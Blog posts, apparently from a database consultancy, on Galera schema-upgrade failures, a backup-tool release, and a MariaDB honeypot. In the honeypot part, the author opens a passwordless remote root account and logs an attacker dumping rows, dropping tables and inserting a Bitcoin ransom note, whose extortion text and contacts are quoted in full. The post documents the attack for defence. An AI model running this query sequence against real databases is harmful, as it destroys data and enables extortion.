2025-11-28 9:39:11 0 [Note] WSREP: Shifting DONOR/DESYNCED→JOINED (TO: 36)
2025-11-28 9:39:11 0 [Note] WSREP: Processing event queue:... -nan% (0/0 events) complete.
2025-11-28 9:39:11 0 [Note] WSREP: Member 0.0 (Node A) synced with group.
2025-11-28 9:39:11 0 [Note] WSREP: Processing event queue:... 100.0% (1/1 events) complete.
2025-11-28 9:39:11 0 [Note] WSREP: Shifting JOINED→SYNCED (TO: 36)
2025-11-28 9:39:11 7 [Note] WSREP: Server Node A synced with group

Then the other commands:

nodeC> INSERT INTO test VALUES (NULL, 'Some data to fill table up', NOW());
nodeC> UPDATE test SET data = 'Some data changed' WHERE id = 10;
nodeC> DELETE FROM test WHERE id = 19;

The ALTER TABLE command was then executed on nodes 2 and 3.

All 3 operations worked perfectly. The cluster is still fully functional. Subsequently:

SQL> ALTER TABLE test DROP COLUMN c1;

to return the system to its initial state for further tests.

Test 2: Attribute promotion with DML remote (on node B)

If you do the same experiment on node B, the cluster will blow up in your face!

nodeB> INSERT INTO test VALUES (NULL, 'Some data to fill table up', NOW());

nodeC> SHOW GLOBAL STATUS LIKE 'wsrep_local_state_comment';
+---------------------------+--------------+
| Variable_name | Value |
+---------------------------+--------------+
| wsrep_local_state_comment | Inconsistent |
+---------------------------+--------------+

MariaDB error log file:

[Note] WSREP: Member 1(Node A) initiates vote on 22db9ea1-cb7b-11f0-b26e-6fbce72757f9:45,dbc9a6ea898b6a29: Got error 171 "The event was corrupt, leading to illegal data being read" from storage engine InnoDB, Error_code: 1030;
[Note] WSREP: Votes over 22db9ea1-cb7b-11f0-b26e-6fbce72757f9:45:
 dbc9a6ea898b6a29: 1/3
Waiting for more votes.
[Note] WSREP: Member 2(Node C) initiates vote on 22db9ea1-cb7b-11f0-b26e-6fbce72757f9:45,dbc9a6ea898b6a29: Got error 171 "The event was corrupt, leading to illegal data being read" from storage engine InnoDB, Error_code: 1030;
[Note] WSREP: Votes over 22db9ea1-cb7b-11f0-b26e-6fbce72757f9:45:
 dbc9a6ea898b6a29: 2/3
Winner: dbc9a6ea898b6a29
[Note] WSREP: Got vote request for seqno 22db9ea1-cb7b-11f0-b26e-6fbce72757f9:45
[Note] WSREP: Recovering vote result from history: 22db9ea1-cb7b-11f0-b26e-6fbce72757f9:45,dbc9a6ea898b6a29
[ERROR] WSREP: Vote 0 (success) on 22db9ea1-cb7b-11f0-b26e-6fbce72757f9:45 is inconsistent with group. Leaving cluster.
[Note] WSREP: Closing send monitor...
[Note] WSREP: Closed send monitor.
[Note] WSREP: gcomm: terminating thread
[Note] WSREP: gcomm: joining thread
[Note] WSREP: gcomm: closing backend
[Note] WSREP: view(view_id(NON_PRIM,1456a640-aca0,15) memb {
 1456a640-aca0,0
} joined {
} left {
} partitioned {
 97230fdb-b973,0
 a2e10f2c-8929,0
})
[Note] WSREP: PC protocol downgrade 1→0
[Note] WSREP: view((empty))
[Note] WSREP: gcomm: closed
[Note] WSREP: New COMPONENT: primary = no, bootstrap = no, my_idx = 0, memb_num = 1
[Note] WSREP: Flow-control interval: [16, 16]
[Note] WSREP: Received NON-PRIMARY.
[Note] WSREP: Shifting SYNCED→OPEN (TO: 45)
[Note] WSREP: New SELF-LEAVE.
[Note] WSREP: Flow-control interval: [0, 0]
[Note] WSREP: Received SELF-LEAVE. Closing connection.
[Note] WSREP: Shifting OPEN→CLOSED (TO: 45)
[Note] WSREP: RECV thread exiting 0: Success
[Note] WSREP: recv_thread() joined.
[Note] WSREP: Closing send queue.
[Note] WSREP: Closing receive queue.
[Note] WSREP: ================================================
View:
 id: 22db9ea1-cb7b-11f0-b26e-6fbce72757f9:45
 status: non-primary
 protocol_version: 4
 capabilities: MULTI-MASTER, CERTIFICATION, PARALLEL_APPLYING, REPLAY, ISOLATION, PAUSE, CAUSAL_READ, INCREMENTAL_WS, UNORDERED, PREORDERED, STREAMING, NBO
 final: no
 own_index: 0
 members(1):
 0: 1456a640-cc36-11f0-aca0-e388a5f80ba9, Node B
=================================================
[Note] WSREP: Non-primary view
[Note] WSREP: Server status change synced→connected
[Note] WSREP: wsrep_notify_cmd is not defined, skipping notification.
[Note] WSREP: ================================================
View:
 id: 22db9ea1-cb7b-11f0-b26e-6fbce72757f9:45
 status: non-primary
 protocol_version: 4
 capabilities: MULTI-MASTER, CERTIFICATION, PARALLEL_APPLYING, REPLAY, ISOLATION, PAUSE, CAUSAL_READ, INCREMENTAL_WS, UNORDERED, PREORDERED, STREAMING, NBO
 final: yes
 own_index: -1
 members(0):
=================================================
[Note] WSREP: Non-primary view
[Note] WSREP: Server status change connected→disconnected
[Note] WSREP: wsrep_notify_cmd is not defined, skipping notification.
[Note] WSREP: Applier thread exiting ret: 6 thd: 2
[Note] WSREP: Applier thread exiting ret: 6 thd: 9
[Warning] Aborted connection 2 to db: 'unconnected' user: 'unauthenticated' host: '' (This connection closed normally without authentication)
[Note] WSREP: Applier thread exiting ret: 6 thd: 5
[Warning] Aborted connection 5 to db: 'unconnected' user: 'unauthenticated' host: '' (This connection closed normally without authentication)
[Warning] Aborted connection 9 to db: 'unconnected' user: 'unauthenticated' host: '' (This connection closed normally without authentication)
[Note] WSREP: Service thread queue flushed.
[Note] WSREP: ####### Assign initial position for certification: 00000000-0000-0000-0000-000000000000:-1, protocol version: 6
[Note] WSREP: Applier thread exiting ret: 0 thd: 6
[Warning] Aborted connection 6 to db: 'unconnected' user: 'unauthenticated' host: '' (This connection closed normally without authentication)

No idea why node B and C behave differently. But this makes the whole rolling schema upgrade (RSU) process completely arbitrary and unplannable.

The whole thing was tested in different variants and the node sometimes becomes inconsistent and sometimes not.

The inconsistent node B is synchronised back into the cluster via a forced SST.

Test 3: Attribute promotion with DML remote (on node C)

This case is somewhat trickier, as no default value is specified.

nodeA> SET SESSION wsrep_OSU_method = 'RSU';
nodeA> ALTER TABLE test ADD COLUMN c1 VARCHAR(64) NOT NULL; -- DEFAULT ''
nodeA> SET SESSION wsrep_OSU_method = 'TOI';

nodeC> INSERT INTO test VALUES (NULL, 'Some data to fill table up', NOW());
nodeC> UPDATE test SET data = 'Some data changed' WHERE id = 13;
nodeC> DELETE FROM test WHERE id = 22;

The ALTER TABLE command was then executed on nodes 2 and 3.

All 3 operations worked perfectly. The cluster is still fully functional.

Test 4: Attribute promotion with DML remote (on node B)

Same test but the ALTER TABLE ADD COLUMN command is executed on node A and the DML command on node B.

Nodes A and C become “Inconsistent” and node B is still “Synced”.

Test 5: Attribute promotion with DML locally (on node A)

Analogue test but the DML command is executed locally on the same node as the DDL command.

nodeA> SET SESSION wsrep_OSU_method = 'RSU';
nodeA> ALTER TABLE test ADD COLUMN c1 VARCHAR(64) NOT NULL; -- DEFAULT ''
nodeA> SET SESSION wsrep_OSU_method = 'TOI';

nodeA> INSERT INTO test VALUES (NULL, 'Some data to fill table up', NOW());
ERROR 1136 (21S01): Column count doesn't match value count at row 1

nodeA> INSERT INTO test (id, data, ts) VALUES (NULL, 'Some data to fill table up', NOW());
ERROR 1364 (HY000): Field 'c1' doesn't have a default value

nodeA> INSERT INTO test (id, data, ts, c1) VALUES (NULL, 'Some data to fill table up', NOW(), '');

nodeA> SELECT * FROM test;
ERROR 1047 (08S01): WSREP has not yet prepared node for application use

nodeA> SHOW GLOBAL STATUS LIKE 'wsrep_local_state_comment';
+---------------------------+--------------+
| Variable_name | Value |
+---------------------------+--------------+
| wsrep_local_state_comment | Inconsistent |
+---------------------------+--------------+

Cluster node became inconsistent. Interestingly enough, the whole thing suddenly worked during further testing! So completely unpredictable…

Test 6: DDL on 2 nodes

New question: What happens after the DDL command has been executed on 2 nodes and then DML commands occur?

nodeA> SET SESSION wsrep_OSU_method = 'RSU';
nodeA> ALTER TABLE test ADD COLUMN c1 VARCHAR(64) NOT NULL DEFAULT 'foo';
nodeA> SET SESSION wsrep_OSU_method = 'TOI';

nodeB> SET SESSION wsrep_OSU_method = 'RSU';
nodeB> ALTER TABLE test ADD COLUMN c1 VARCHAR(64) NOT NULL DEFAULT 'foo';
nodeB> SET SESSION wsrep_OSU_method = 'TOI';

nodeC> INSERT INTO test (id, data, ts) VALUES (NULL, 'Some data to fill table up', NOW());

works, but:

nodeB> INSERT INTO test (id, data, ts) VALUES (NULL, 'Some data to fill table up', NOW());

root@localhost [test]> SHOW GLOBAL STATUS LIKE 'wsrep_local_state_comment';
+---------------------------+--------------+
| Variable_name | Value |
+---------------------------+--------------+
| wsrep_local_state_comment | Inconsistent |
+---------------------------+--------------+

Test 7: UPDATE and DELETE commands from the same node

nodeA> SET SESSION wsrep_OSU_method = 'RSU';
nodeA> ALTER TABLE test ADD COLUMN c1 VARCHAR(64) NOT NULL DEFAULT 'foo';
nodeA> SET SESSION wsrep_OSU_method = 'TOI';

nodeA> UPDATE test SET data = 'Some data changed' WHERE id = 16;

nodeA> SHOW GLOBAL STATUS LIKE 'wsrep_local_state_comment';
+---------------------------+--------------+
| Variable_name | Value |
+---------------------------+--------------+
| wsrep_local_state_comment | Inconsistent |
+---------------------------+--------------+

nodeA> DELETE FROM test WHERE id = 25;
nodeA> SHOW GLOBAL STATUS LIKE 'wsrep_local_state_comment';
+---------------------------+--------+
| Variable_name | Value |
+---------------------------+--------+
| wsrep_local_state_comment | Synced |
+---------------------------+--------+

...
[Warning] WSREP: Ignoring error 'Can't find record in 'test'' on Delete_rows_v1 event. Error_code: 1032
[Warning] Slave SQL: Could not execute Delete_rows_v1 event on table test.test; Can't find record in 'test', Error_code: 1032; Can't find record in 'test', Error_code: 1032; Can't find record in 'test', Error_code: 1032; Can't find record in 'test', Error_code: 1032; Can't find record in 'test', Error_code: 1032; Can't find record in 'test', Error_code: 1032; Can't find record in 'test', Error_code: 1032; Can't find record in 'test', Error_code: 1032; Can't find record in 'test', Error_code: 1032; Can't find record in 'test', Error_code: 1032; Can't find record in 'test', Error_code: 1032; Can't find record in 'test', Error_code: 1032; Can't find record in 'test', Error_code: 1032; Can't find record in 'test', Error_code: 1032; Can't find record in 'test', Error_code: 1032; Can't find record in 'test', Error_code: 1032; Can't find record in 'test', Error_code: 1032; Can't find record in 'test', Error_code: 1032; Can't find record in 'test', Error_code: 1032; Can't find record in 'test', Error_code: 1032; Can't find re
[ERROR] Slave SQL: Could not read field 'id' of table 'test.test', Internal MariaDB error code: 1610
[ERROR] mariadbd: Can't find record in 'test'
...

Process list from node C:

nodeC> SHOW PROCESSLIST;
+----+-------------+-----------+------+---------+------+-------------------------+----------------------------------------------------------------------------------------+----------+
| Id | User | Host | db | Command | Time | State | Info | Progress |
+----+-------------+-----------+------+---------+------+-------------------------+----------------------------------------------------------------------------------------+----------+
| 2 | system user | | NULL | Sleep | 1670 | After apply log event | NULL | 0.000 |
| 1 | system user | | NULL | Sleep | 4609 | wsrep aborter idle | NULL | 0.000 |
| 7 | system user | | NULL | Sleep | 4608 | | NULL | 0.000 |
| 8 | system user | | test | Sleep | 1441 | Executing | DELETE FROM test WHERE id = 25?5jR | 0.000 |
| 10 | system user | | NULL | Sleep | 2002 | wsrep applied write set | INSERT INTO test (id, data, ts) VALUES (NULL, 'Some data to fill table up', NOW()) 9O? | 0.000 |
| 28 | root | localhost | NULL | Query | 0 | starting | show processlist | 0.000 |
+----+-------------+-----------+------+---------+------+-------------------------+----------------------------------------------------------------------------------------+----------+

Node C is still synchronised:

nodeC> SHOW GLOBAL STATUS LIKE 'wsrep_local_state_comment';
+---------------------------+--------+
| Variable_name | Value |
+---------------------------+--------+
| wsrep_local_state_comment | Synced |
+---------------------------+--------+

Shutdown of the node for the following error message:

nodeC> SQL> shutdown;
ERROR 1047 (08S01): WSREP has not yet prepared node for application use

The entire cluster was then no longer usable. And had to be restarted (bootstrap).

Summary

We have opened a bug at MariaDB on this topic: Attribute Promotion/Demotion in Galera Cluster.

Further tests were not carried out for the time being, as this feature is too unstable in the tested version and DROP COLUMN is not a use case of our customer.

Conclusion: MariaDB Galera Cluster does not properly handle this situation in the version tested, nor does the cluster prevent this case. Cluster nodes are marked as inconsistent. Our current recommendation: Do NOT do a rolling schema upgrade (RSU) with concurrent DML commands (INSERT, UPDATE, DELETE) on the tables to be changed with the analysed version!

Further sources:

FromDual Backup and Recovery Manager for MariaDB and MySQL 2.3.2 has been released

oli.sennhauser@fromdual.com (Oli Sennhauser) — Wed, 22 Oct 2025 20:41:15 +0200

FromDual has the pleasure to announce the release of the new version 2.3.2 of its popular Backup and Recovery Manager for MariaDB and MySQL (brman).

The new FromDual Backup and Recovery Manager can be downloaded from here. The FromDual Repositories were updated. How to install and use the Backup and Recovery Manager is described in FromDual Backup and Recovery Manager (brman) installation guide.

In the inconceivable case that you find a bug in the FromDual Backup and Recovery Manager please send us an [email](mailto:contact@fromdual.com?Subject=Bug report for brman).

Any feedback, statements and testimonials are welcome as well! Please send them to feedback@fromdual.com.

Upgrade from 2.x to 2.3.2

$ cd /opt
$ tar xf /download/brman-2.3.2.tar.gz
$ rm -f brman
$ ln -s brman-2.3.2 brman

Changes in FromDual Backup and Recovery Manager 2.3.2

This release is a new minor release. It contains mainly bug fixes. We have tried to maintain backward-compatibility with the 1.2, 2.0, 2.1, 2.2 and 2.3 release series. But you should test the new release seriously!

You can verify your current FromDual Backup Manager version with the following command:

$ bman --version
$ rman --version

General

Tests improved.
New features documented and documentation updated.
Libraries from MyEnv project updated.

FromDual Backup Manager (bman)

SSL/TLS implemented for bman only.
Binary log position should be gathered correctly now also with MySQL 8.4.

FromDual Recovery Manager (rman)

No changes.

Subscriptions for commercial use of FromDual Backup and Recovery Manager you can get from [from us](mailto:contact@fromdual.com?Subject=Commercial use of FromDual brman).

MariaDB Honeypot

oli.sennhauser@fromdual.com (Oli Sennhauser) — Thu, 06 Mar 2025 09:50:18 +0000

In our MariaDB advanced training courses, which we hold approximately every two months, we use machines that are directly exposed to the Internet with a public IP address. Warning: You should NEVER expose a database directly to the Internet without protection! Typically, it takes less than 72 hours (3 days) before we are exposed to the first external access attempts.

This looks something like this in the MariaDB error log:

[Warning] Aborted connection 22939 to db: 'unconnected' user: 'unauthenticated' host: '118.193.58.125' (This connection closed normally without authentication)
[Warning] Aborted connection 22940 to db: 'unconnected' user: 'unauthenticated' host: '118.193.58.125' (This connection closed normally without authentication)
[Warning] Access denied for user ''@'118.193.58.125' (using password: NO)
[Warning] Access denied for user 'root'@'118.193.58.125' (using password: YES)
[Warning] Access denied for user 'root'@'118.193.58.125' (using password: YES)

First of all, it was checked whether a database is listening and how it responds. Then various attempts are made to penetrate the database. It looks like there are various sampling and attack patterns. The anonymous user (''@'%') and 'root'@'%' are checked with and without a password. Whether other users will be tested remains to be seen over a longer observation period.

And this is what it looks like from the MariaDB General Query Log:

287793 Connect root@196.251.91.77 on using TCP/IP
287793 Connect Access denied for user 'root'@'196.251.91.77' (using password: NO)
287794 Connect root@196.251.91.77 on using TCP/IP
287794 Connect Access denied for user 'root'@'196.251.91.77' (using password: YES)
287796 Connect root@196.251.91.77 on using TCP/IP
287796 Connect Access denied for user 'root'@'196.251.91.77' (using password: YES)

Preparing the honeypot

At the end of the training, we no longer need the machines, they will be removed. That’s why I was tempted to try out what happens when an access attempt is successful. To test this, the user 'root'@'%' was created without a password as follows and given all rights to the test schema:

SQL> CREATE USER 'root'@'%';
SQL> GRANT ALL ON test.* TO 'root'@'%';

and both the MariaDB General Log was switched on and the MariaDB Error Log was made more talkative:

# my.cnf

[server]

general_log_file = /var/log/mysql/general.log
general_log = on
log_error = /var/log/mysql/error.log
log_warnings = 9 # too much!
bind_address = *
skip_name_resolve = on # How much info do we loose?
# skip_grant_tables

After that it was just a matter of lying in wait and seeing what happens…

TODO: It would be interesting to see which passwords are used to access the database. Let’s see if we can find out without patching the MariaDB source code…? Maybe one should also try using wireshark or tcpdump to make the passwords visible.

The first fly buzzes in

Then the first fly (from Amsterdam, Netherlands) seems to arrive at the honeypot. First we have a warning that the reverse lookup of the IP address fails:

[Warning] Hostname 'no-reverse-dns-configured.com' does not resolve to '94.102.49.155'.

But then it goes in. But doesn’t do anything exciting:

250228 16:06:32 1222 Connect root@94.102.49.155 on using TCP/IP
 1222 Query SHOW databases
 1222 Query SHOW tables IN information_schema
 1222 Query SHOW tables IN test
 1222 Query SHOW VARIABLES
250228 16:06:33 1222 Quit

What does the fly get to see:

SQL> SHOW databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| test |
+--------------------+

SQL> SHOW tables IN information_schema;
+-------------------------------+
| Tables_in_information_schema |
+-------------------------------+
| ALL_PLUGINS |
| APPLICABLE_ROLES |
| CHARACTER_SETS |
| ... |
| INNODB_TABLESPACES_ENCRYPTION |
| INNODB_LOCK_WAITS |
| THREAD_POOL_STATS |
+-------------------------------+
82 rows in set (0.000 sec)

SQL> SHOW tables IN test;
+----------------+
| Tables_in_test |
+----------------+
| test |
+----------------+

SQL> SHOW VARIABLES;
+----------------------------------------------------------+------------+
| Variable_name | Value |
+----------------------------------------------------------+------------+
| allow_suspicious_udfs | OFF |
| alter_algorithm | DEFAULT |
| analyze_sample_percentage | 100.000000 |
| ... | |
| wsrep_sync_wait | 0 |
| wsrep_trx_fragment_size | 0 |
| wsrep_trx_fragment_unit | bytes |
+----------------------------------------------------------+------------+
686 rows in set (0.003 sec)

Maybe the algorithm of the attack is smart enough here and realises that an attack is not worthwhile?

Then we wait for the next fly…

The next fly comes flying

And there it is (this time from the USA, Minneapolis) in the MariaDB error log:

[Warning] Hostname 'undefined.hostname.localhost' does not resolve to '196.251.83.136'.

Now it will be interesting to see what exactly happens in the MariaDB General Query Log?

First, a connection is established and kept open (keep your foot in the door?):

250228 16:06:55 67 Connect root@196.251.83.136 on using TCP/IP
 67 Query SET AUTOCOMMIT=0

Then, 15 seconds later, a connection is opened and closed again (make sure you were really successful?):

250228 16:07:10 68 Connect root@196.251.83.136 on using TCP/IP
 68 Query SET AUTOCOMMIT=0
 68 Quit

Immediately afterwards, all schemas are queried:

 69 Connect root@196.251.83.136 on using TCP/IP
 69 Query SET AUTOCOMMIT=0
 69 Query SHOW DATABASES
 69 Quit

Then a connection is opened and closed again:

 70 Connect root@196.251.83.136 on using TCP/IP
 70 Query SET AUTOCOMMIT=0
 70 Quit

Then a check is made to see how large the schema is. Probably to ensure that it is not too large? Then the tables are queried. The connection is kept open and work continues 2 seconds later.

 71 Connect root@196.251.83.136 on using TCP/IP
 71 Query SET AUTOCOMMIT=0
 71 Query SELECT SUM(data_length + index_length) FROM information_schema.tables WHERE table_schema = 'test'
 71 Query USE `test`
 71 Query SHOW tables

Then a mariadb-dump imitation? with version ≥ 10.1 is started to read the first 10!!!! lines of the table aaa_payload in the schema test.

250228 16:07:11 72 Connect root@196.251.83.136 on using TCP/IP
 72 Query /*!40100 SET @@SQL_MODE='' */
 72 Query /*!100100 SET @@MAX_STATEMENT_TIME=0.000000 */
 72 Query /*!100100 SET WAIT_TIMEOUT=DEFAULT */
 72 Query set optimizer_switch='semijoin=off'
 72 Query SELECT LOGFILE_GROUP_NAME, FILE_NAME, TOTAL_EXTENTS, INITIAL_SIZE, ENGINE, EXTRA FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'UNDO LOG' AND FILE_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IN (SELECT DISTINCT LOGFILE_GROUP_NAME FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('aaa_payload'))) GROUP BY LOGFILE_GROUP_NAME, FILE_NAME, ENGINE, TOTAL_EXTENTS, INITIAL_SIZE ORDER BY LOGFILE_GROUP_NAME
 72 Query SELECT DISTINCT TABLESPACE_NAME, FILE_NAME, LOGFILE_GROUP_NAME, EXTENT_SIZE, INITIAL_SIZE, ENGINE FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('aaa_payload')) ORDER BY TABLESPACE_NAME, LOGFILE_GROUP_NAME
 72 Query set optimizer_switch=default
 72 Init DB test
 72 Query SHOW VARIABLES LIKE 'lower_case_table_names'
 72 Query SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload'
 72 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload'
 72 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload'
 72 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload'
 72 Query SET SQL_QUOTE_SHOW_CREATE=1
 72 Query show fields from `aaa_payload`
 72 Query SELECT /*!40001 SQL_NO_CACHE */ `id`, `name` FROM `aaa_payload` WHERE 1 LIMIT 10
 72 Quit

Then the same again with a table called bbb_payload:

 73 Connect root@196.251.83.136 on using TCP/IP
 73 Query /*!40100 SET @@SQL_MODE='' */
 73 Query /*!100100 SET @@MAX_STATEMENT_TIME=0.000000 */
 73 Query /*!100100 SET WAIT_TIMEOUT=DEFAULT */
 73 Query set optimizer_switch='semijoin=off'
 73 Query SELECT LOGFILE_GROUP_NAME, FILE_NAME, TOTAL_EXTENTS, INITIAL_SIZE, ENGINE, EXTRA FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'UNDO LOG' AND FILE_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IN (SELECT DISTINCT LOGFILE_GROUP_NAME FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('bbb_payload'))) GROUP BY LOGFILE_GROUP_NAME, FILE_NAME, ENGINE, TOTAL_EXTENTS, INITIAL_SIZE ORDER BY LOGFILE_GROUP_NAME
 73 Query SELECT DISTINCT TABLESPACE_NAME, FILE_NAME, LOGFILE_GROUP_NAME, EXTENT_SIZE, INITIAL_SIZE, ENGINE FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('bbb_payload')) ORDER BY TABLESPACE_NAME, LOGFILE_GROUP_NAME
 73 Query set optimizer_switch=default
 73 Init DB test
 73 Query SHOW VARIABLES LIKE 'lower_case_table_names'
250228 16:07:12 73 Query SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'bbb_payload'
 73 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'bbb_payload'
 73 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'bbb_payload'
 73 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'bbb_payload'
 73 Query SET SQL_QUOTE_SHOW_CREATE=1
 73 Query show fields from `bbb_payload`
 73 Query SELECT /*!40001 SQL_NO_CACHE */ `id`, `name` FROM `bbb_payload` WHERE 1 LIMIT 10
 73 Quit

And finally our main table test but again only the first 10!!!! rows:

 74 Connect root@196.251.83.136 on using TCP/IP
 74 Query /*!40100 SET @@SQL_MODE='' */
 74 Query /*!100100 SET @@MAX_STATEMENT_TIME=0.000000 */
 74 Query /*!100100 SET WAIT_TIMEOUT=DEFAULT */
 74 Query set optimizer_switch='semijoin=off'
 74 Query SELECT LOGFILE_GROUP_NAME, FILE_NAME, TOTAL_EXTENTS, INITIAL_SIZE, ENGINE, EXTRA FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'UNDO LOG' AND FILE_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IN (SELECT DISTINCT LOGFILE_GROUP_NAME FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('test'))) GROUP BY LOGFILE_GROUP_NAME, FILE_NAME, ENGINE, TOTAL_EXTENTS, INITIAL_SIZE ORDER BY LOGFILE_GROUP_NAME
 74 Query SELECT DISTINCT TABLESPACE_NAME, FILE_NAME, LOGFILE_GROUP_NAME, EXTENT_SIZE, INITIAL_SIZE, ENGINE FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('test')) ORDER BY TABLESPACE_NAME, LOGFILE_GROUP_NAME
 74 Query set optimizer_switch=default
 74 Init DB test
 74 Query SHOW VARIABLES LIKE 'lower_case_table_names'
 74 Query SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test'
 74 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test'
 74 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test'
 74 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test'
 74 Query SET SQL_QUOTE_SHOW_CREATE=1
 74 Query show fields from `test`
 74 Query SELECT /*!40001 SQL_NO_CACHE */ `id`, `data`, `ts` FROM `test` WHERE 1 LIMIT 10
 74 Quit

Then it continues again with Connection 71: The 3 tables test, bbb_payload and aaa_payload are deleted:

 71 Query USE `test`
 71 Query SHOW TABLES
 71 Query SELECT TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME FROM information_schema.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA = 'test' AND TABLE_NAME = 'test' AND REFERENCED_TABLE_NAME IS NOT NULL
 71 Query SELECT TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME FROM information_schema.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA = 'test' AND TABLE_NAME = 'bbb_payload' AND REFERENCED_TABLE_NAME IS NOT NULL
250228 16:07:13 71 Query SELECT TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME FROM information_schema.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA = 'test' AND TABLE_NAME = 'aaa_payload' AND REFERENCED_TABLE_NAME IS NOT NULL
 71 Query DROP TABLE `test`
 71 Query DROP TABLE `bbb_payload`
 71 Query DROP TABLE `aaa_payload`

Then a table called RECOVER_YOUR_DATA is created and provided with the text how to pay the ransom. The amount is 0.0101 Bitcoin, which currently corresponds to around EUR 863.40. Mind you, they only dumped the first 10 lines and then deleted them!

 71 Query CREATE TABLE IF NOT EXISTS RECOVER_YOUR_DATA (text VARCHAR(255))
 71 Query INSERT INTO RECOVER_YOUR_DATA (text) VALUES ('All your data is backed up. You must pay 0.0101 BTC to bc1qm0v2r0mmx3py3h7fzkerd9a6rzdrpw5afqacen In 48 hours, your data will be publicly disclosed and deleted. (more information: go to https://is.gd/yotuqu)')
 71 Query INSERT INTO RECOVER_YOUR_DATA (text) VALUES ('After payment send mail to us: rambler+2r8qm@onionmail.org and we will provide a link for you to download your data. Your DBCODE is: 2R8QM')
 71 Query COMMIT
 71 Quit

The following text can be found behind the link:

Please take note of the following:

We are aware that you have accessed this guide.
This offer stands for 24hs

After 72 hours, we cannot guarantee that we will be able to send the data to you.
The only way to recover your data is by making the payment. We will not provide the data for free.

Data leakage is a serious legal violation. Rest assured, the incident will remain confidential, and your data is protected.

After your payment is completed, all data downloaded from you will be deleted from our servers, government agencies, competitors, contractors, and local media are currently unaware of the incident.

If you pay we guarantee that your data will not be sold on Darkweb resources and will not be used to attack your company, employees, or counterparties in the future and the full database dump will be sent to you.

If you have not contacted us within two days from the time of the incident, we will consider the transaction incomplete. Your data will then be sent to any interested parties. This is your responsibility.

If you are a system administrator or programmer and your boss is unaware of this incident, we will contact them after 48 hours.

If you are unable to contact us using the provided email, please visit https://getsession.org/ and download the Session Messenger. Add us using the following Session ID for a smoother conversation and better negotiation:
Session ID:
05a5ba6491a15908207cce6e257b3316cd11cb2575f75194d3c59c37de68eaf55a

After payment, please provide us with a screenshot or proof of payment.
Once the payment is confirmed, we will send you a download link for your data. We will also delete our copy of the data.

IMPORTANT!!
DO NOT FORGET TO INCLUDE YOUR DBCODE IN YOUR MAIL OR MESSAGE YOU SEND TO US

The only accepted payment method is Bitcoin.
Be advised: PayPal, WeTransfer, Alipay, credit cards, and other methods will not be accepted.
If you prefer to pay with another cryptocurrency, please contact us to make arrangements.

If you don't have Bitcoin, you can purchase it using a credit card from the following websites:

MoonPay: https://www.moonpay.com/buy
Paybis: https://paybis.com/
Changelly: https://changelly.com/buy

Alternatively, you can buy Bitcoin using other payment methods from the following platforms (some of them work in China):

Coinbase: https://www.coinbase.com/
Paxful: https://paxful.com/
